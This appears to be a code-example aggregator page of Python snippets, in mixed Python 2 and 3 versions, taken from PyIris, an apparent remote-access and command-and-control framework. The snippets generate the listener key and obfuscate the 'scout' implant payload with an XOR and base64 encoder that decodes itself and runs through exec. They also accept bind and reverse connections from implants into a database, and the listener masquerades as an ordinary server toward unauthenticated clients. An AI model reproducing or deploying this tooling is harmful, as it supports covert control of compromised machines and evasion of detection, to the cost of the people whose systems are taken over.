Esempio n. 1
0
def main(condition):
    if condition == 'system_initiated':
        dir = os.listdir(os.getcwd())
        if 'PyIris.cred' in dir:
            print config.pos + 'PyIris.cred key file located - OK'
            pass
        else:
            print config.neg + 'PyIris.cred key file not found/generated - ERROR, AUTO-GENERATING KEY'
            prompt = raw_input(
                config.pro +
                'Listener key [Enter to generate a random 50 length key] : ')
            if not prompt:
                prompt = return_random_string.main(50)
            with open('PyIris.cred', 'w') as f:
                f.write(prompt)
            print config.pos + 'Generated PyIris.cred key file with key as : ' + prompt
    elif condition == 'user_initiated':
        continue_on = raw_input(
            config.war +
            'This will overwrite existing key, continue? [y|n] : ')
        if continue_on == 'y':
            prompt = raw_input(
                config.pro +
                'Listener key [Enter to generate a random 50 length key] : ')
            if not prompt:
                prompt = return_random_string.main(50)
            with open('PyIris.cred', 'w') as f:
                f.write(prompt)
            print config.pos + 'Generated PyIris.cred key file with key as : ' + prompt
            config.key = prompt
Esempio n. 2
0
def main(condition):
    if condition == 'system_initiated':
        if os.path.isfile(os.path.join(os.getcwd(), 'resources',
                                       'PyIris.cred')):
            print(config.pos + 'PyIris.cred key file located - OK')
            pass
        else:
            print(
                config.neg +
                'PyIris.cred key file not found/generated - ERROR, AUTO-GENERATING KEY'
            )
            prompt = input(
                config.pro +
                'Listener key [Enter to generate a random 50 length key] : ')
            if not prompt:
                prompt = return_random_string.main(50)
            with open('resources/PyIris.cred', 'w') as f:
                f.write(prompt)
            print(config.pos +
                  'Generated PyIris.cred key file with key as : ' + prompt)
    elif condition == 'user_initiated':
        continue_on = input(
            config.war +
            'This will overwrite existing key, continue? [y|n] : ')
        if continue_on == 'y':
            prompt = input(
                config.pro +
                'Listener key [Enter to generate a random 50 length key] : ')
            if not prompt:
                prompt = return_random_string.main(50)
            with open('resources/PyIris.cred', 'w') as f:
                f.write(prompt)
            print(config.pos +
                  'Generated PyIris.cred key file with key as : ' + prompt)
            config.key = prompt
def main(option):
    if option == 'encode':
        try:
            imported_modules = ['from itertools import cycle', 'from base64 import b64decode']
            with open('payload.py', 'r') as f:
                data = f.read().replace(';', '\n')
            source = data.split('\n')
            for i in source:
                if 'import' in i and i != 'from itertools import cycle':
                    imported_modules.append(i)
            key = return_random_string.main(50)
            print('   ' + config.inf + 'Random 50 length XOR cipher key : ' + key)
            encoded_source = base64.b64encode((xor_encoder('\n'.join(source), key)).encode()).decode()
            obfuscated = ';'.join(
                imported_modules) + ';exec("".join(chr(ord(c1)^ord(c2)) for (c1,c2) in zip(b64decode("' + encoded_source + '").decode(),cycle("' + key + '"))))'
            with open('payload.py', 'w') as f:
                f.write(obfuscated)
                print('   ' + config.inf + 'Encoded scout and overwrote raw file with XOR encoded file contents')
        except SyntaxError:
            print('   ' + config.neg + 'Could not encode scout')
    elif option == 'info':
        print('\nName             : XOR Cipher Encoder' \
              '\nRequired Modules : itertools, base64' \
              '\nDescription      : Uses XOR cipher encryption to obfuscate the scout source' \
              '\nNote             : Requires base64 module to encode raw bytes as text so the scout is able to base64 decode itself into raw bytes to XOR decrypt itself\n')
def main(args):
    try:
        host = args.split(' ')[1]
        port = int(args.split(' ')[2])
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(2)
        s.connect((host, port))
        print config.pos + 'Established a bind TCP connection to ' + host + ':' + str(
            port)
        if config.white_list:
            if host not in config.white_list:
                s.close()
                print config.neg + 'Connection was aborted because host was not in whitelist'
                return
        elif config.black_list:
            if host in config.black_list:
                s.close()
                print config.neg + 'Connection was aborted because host was in blacklist'
                return
        s.settimeout(5)
        try:
            await_key = s.recv(9999999)
        except (socket.timeout, socket.error):
            print config.neg + 'Established connection to ' + host + ':' + str(
                port) + ' but no data received!'
            return
        s.settimeout(None)
        if await_key == config.key:
            print config.pos + 'Key from scout matches, connection is allowed'
            config.scout_database[str(config.incremented_scout_id)] = [
                s, host,
                str(port), host + ':' + str(port),
                return_random_string.main(5),
                datetime.now().strftime('%Y-%m-%d %H:%M:%S'), 'Bind'
            ]
            print config.inf + 'Entry added to database'
            config.incremented_scout_id += 1
        else:
            print config.neg + 'Invalid key was supplied from scout, denying connection...'
            s.close()
    except (socket.timeout, socket.error):
        print config.neg + 'Unable to establish bind TCP connection to ' + host + ':' + str(
            port)
    except (IndexError, ValueError):
        print config.neg + 'Please specify a valid hostname and port number'
Esempio n. 5
0
def main(host, port, name, reply):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind((host, port))
        s.listen(1)
        s.settimeout(2)
        local_copy_of_id = config.incremented_listener_id
        config.listener_database[str(config.incremented_listener_id)] = [
            host,
            str(port), name,
            datetime.now().strftime('%Y-%m-%d %H:%M:%S'), []
        ]
        config.incremented_listener_id += 1
        print(config.pos + 'Successfully started listener thread at : ' +
              host + ':' + str(port))
        while True:
            try:
                if should_listener_die.main(str(local_copy_of_id)):
                    print('\n' + config.pos + 'Listener at : ' + host + ':' +
                          str(port) + ' , received kill message, exiting...')
                    return
                else:
                    try:
                        conn, addr = s.accept()
                    except (socket.timeout, socket.error):
                        continue
                    if config.white_list:
                        if addr[0] not in config.white_list:
                            conn.sendall(
                                reply.encode()
                            )  # masquerade as ordinary server without showing length byte and seperator
                            conn.close()
                            continue
                    elif config.black_list:
                        if addr[0] in config.black_list:
                            conn.sendall(
                                reply.encode()
                            )  # masquerade as ordinary server without showing length byte and seperator
                            conn.close()
                            continue
                    if conn:
                        await_key = recv_all.main(conn, 5)
                        conn.settimeout(None)
                        if await_key == config.key:
                            print('\n' + config.pos +
                                  'Connection received from scout : ' +
                                  addr[0] + ':' + str(addr[1]) + ' -> ' +
                                  host + ':' + str(port))
                            config.scout_database[str(
                                config.incremented_scout_id)] = [
                                    conn, addr[0],
                                    str(addr[1]), host + ':' + str(port),
                                    return_random_string.main(5),
                                    datetime.now().strftime(
                                        '%Y-%m-%d %H:%M:%S'), 'Reverse'
                                ]
                            config.listener_database[str(
                                local_copy_of_id)][4].append(addr[0] + ':' +
                                                             str(addr[1]))
                            config.incremented_scout_id += 1
                        else:
                            conn.sendall(
                                reply.encode()
                            )  # masquerade as ordinary server without showing length byte and seperator
                            conn.close()
                    else:
                        conn.close()
            except socket.error:
                continue
    except Exception as e:
        print('\n' + config.war + 'Error in listener thread : ' + str(e) +
              ', killing thread...')
        try:
            del (config.listener_database[str(local_copy_of_id)])
        except (IndexError, ValueError, UnboundLocalError):
            pass
Esempio n. 6
0
def main(host, port, name):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind((host, port))
        s.listen(1)
        s.settimeout(2)
        local_copy_of_id = config.incremented_listener_id
        config.listener_database[str(config.incremented_listener_id)] = [
            host,
            str(port), name,
            datetime.now().strftime('%Y-%m-%d %H:%M:%S')
        ]
        config.incremented_listener_id += 1
        print '[+]Successfully started listener thread at : ' + host + ':' + str(
            port)
        while True:
            try:
                if should_listener_die.main(str(local_copy_of_id)):
                    print '\n[+]Listener at : ' + host + ':' + str(
                        port) + ' , received kill message, exiting...'
                    return
                else:
                    try:
                        conn, addr = s.accept()
                    except (socket.timeout, socket.error):
                        continue
                    if config.white_list:
                        if addr[0] not in config.white_list:
                            conn.close()
                            continue
                    elif config.black_list:
                        if addr[0] in config.black_list:
                            conn.close()
                            continue
                    if conn:
                        conn.settimeout(5)
                        await_key = conn.recv(9999999)
                        conn.settimeout(None)
                        if await_key == config.key:
                            print '\n[+]Connection received from scout : ' + addr[
                                0] + ':' + str(
                                    addr[1]) + ' -> ' + host + ':' + str(port)
                            config.scout_database[str(
                                config.incremented_scout_id)] = [
                                    conn, addr[0],
                                    str(addr[1]), host + ':' + str(port),
                                    return_random_string.main(5),
                                    datetime.now().strftime(
                                        '%Y-%m-%d %H:%M:%S')
                                ]
                            config.incremented_scout_id += 1
                        else:
                            conn.close()
                    else:
                        conn.close()
            except socket.error:
                continue
    except Exception as e:
        print '\n[!]Error in listener thread : ' + str(
            e) + ', killing thread...'
        del (config.listener_database[str(local_copy_of_id)])